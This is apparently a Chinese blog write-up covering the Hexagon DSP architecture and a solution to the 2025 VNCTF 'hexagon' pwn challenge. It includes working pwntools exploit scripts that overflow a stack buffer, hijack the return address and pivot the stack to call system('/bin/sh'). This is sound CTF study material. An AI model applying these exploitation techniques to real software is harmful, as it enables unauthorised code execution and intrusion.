Hexagon 学习
Hexagon 是高通(Qualcomm)开发的 数字信号处理器(DSP) 架构,专为移动设备、物联网和边缘计算设计,以高效能、低功耗为核心优势。它被集成在高通骁龙(Snapdragon)系列芯片中
- hexagon用allocframe开辟栈帧:LR压栈,FP压栈,SP减去一定数值向低地址开辟,FP设置成指向旧FP的指针。deallocframe/dealloc_return用于销毁栈帧/销毁栈帧并返回,从栈底取回FP和LR。
- 一共有32个32位通用寄存器,r0-r31。存在寄存器对,可以当做64位寄存器使用,如r0和r1可以合并成r1:0
- r29-r31是别名寄存器。r29是SP,r30是FP,r31是LR寄存器。SP是栈顶寄存器,FP是栈(底)寄存器,LR是储存返回地址的寄存器。
看汇编感觉是类arm架构
主要的汇编有
1 2 3 4 5
| allocframe(#0x10) #开辟栈空间 add(r0,#-0x10) #加减乘除,有返回值 call func dealloc_return #pop and ret (类似pop,但是hexagon是么有pop滴) memw(r1) #取指针指向的内容
|
例题
『2025VNCTF』hexagon
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| .text:00020460 .global vuln .text:00020460 vuln: .text:00020460 { allocframe(#0x10) } .text:00020464 { r0 = add(pc, ##aD@pcrel) } .text:0002046C { r1 = add(fp, #-0x10) } .text:00020470 { call scanf } .text:00020474 { r0 = #0 } .text:00020478 { r1 = add(fp, #-8) } .text:0002047C { r2 = #0x10 } .text:00020480 { call read } .text:00020484 { r0 = add(pc, ##aCatHomeCtfLog@pcrel) } .text:0002048C { call system } .text:00020490 { nop .text:00020494 nop .text:00020498 nop .text:0002049C dealloc_return } .text:0002049C
|
发现allocframe只开辟了0x10个字节的栈空间,然后read的起始地址是从fp-8开始的,再结合32位的4字节地址,显然有栈溢出8个字节,溢出到FP和LR的存储空间,而LR是存取返回地址的,便有劫持返回地址。
解法1-system执行
看了官方wp之后

从libc.so中找到system,发现偏底层的system实现方式是通过posix_spawn进程创建函数(理解为fork+execve即可),通过对参数的简单分析,可以知道r1=”/bin/sh”,然后argv[] = {“sh”, “-c”, user_input, NULL};,而这个usr_input是通过fp-0x10输入的,详情自行查看posix_spawn的参数
然后回到题目发现一开始有一个scanf函数是输入fp-0x10的,那么局势就很明朗了,同时由于qemu的libc是不会改变的,因此传入一个/bin/sh的地址就行啦
libc地址的寻找:
这里是通过日志来寻找的
1
| set_tid_address(1073672412,1073672412,-4,0,1072439316,67108864) = 7
|
而这个1073672412是指针地址,通常由libc分配的存储tid(线程id)的,从libc中寻找到对应的结构体
1 2 3 4 5
| .bss:0012F0DC __thread_list_lock:.space 1 .bss:0012F0DC .bss:0012F0DD .space 1 .bss:0012F0DE .space 1 .bss:0012F0DF .space 1
|
相减获得libc_base=0x3FEC0000(算是取巧吧,因为我的qemu单步执行坏掉啦/(ㄒoㄒ)/~~)
本地环境与远程有差距,不过方法类似
1 2 3 4 5 6 7 8 9
| p = process(['qemu-hexagon' , '-d', 'in_asm,exec,cpu,nochain', '-strace', '-dfilter', '0x20420+0xc0', '-D', './log', './main']) libc_base=0x40810000 fp=0x4080f078 binsh = libc_base+0x119f7 ru(b'\n') sl(tbs(binsh)) payload = p32(0)*2+p32(fp+8)+p32(libc_base+0xBE7C0) s(payload) irt()
|
解法2-栈迁移
对1血脚本学习。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51
| stack_addr = 0x4080f1c8 libc_base= 0x3FEC0000 gadget1 = 0x20534 gadget2 = libc_base + 0xDB2CC gadget3 = libc_base + 0x54630 ret = 0x20538 bss = 0x406d0 bss = stack_addr target = 0x1039E call_system = 0x2048C
payload = str(0x1000) sh.sendlineafter('Welcome back, hexagon player!\n', payload)
payload = b'a'*8 + p32(bss+8) + p32(0x20474) sh.send(payload)
payload = b'a'*8 + p32(bss-0x30+8) + p32(0x20474) sh.send(payload)
payload = b'/bin/sh\x00' + p32(bss-0x20+0x8) + p32(0x20474) sh.send(payload)
payload = p32(0x4080f198) + b'bbbb' + p32(bss-0x10+0x8) + p32(0x20474) sh.send(payload)
payload = b'sh\x00\x00' + p32(0x2048C) + p32(bss-0x10) + p32(gadget3) sh.send(payload)
sh.interactive()
|
有意思的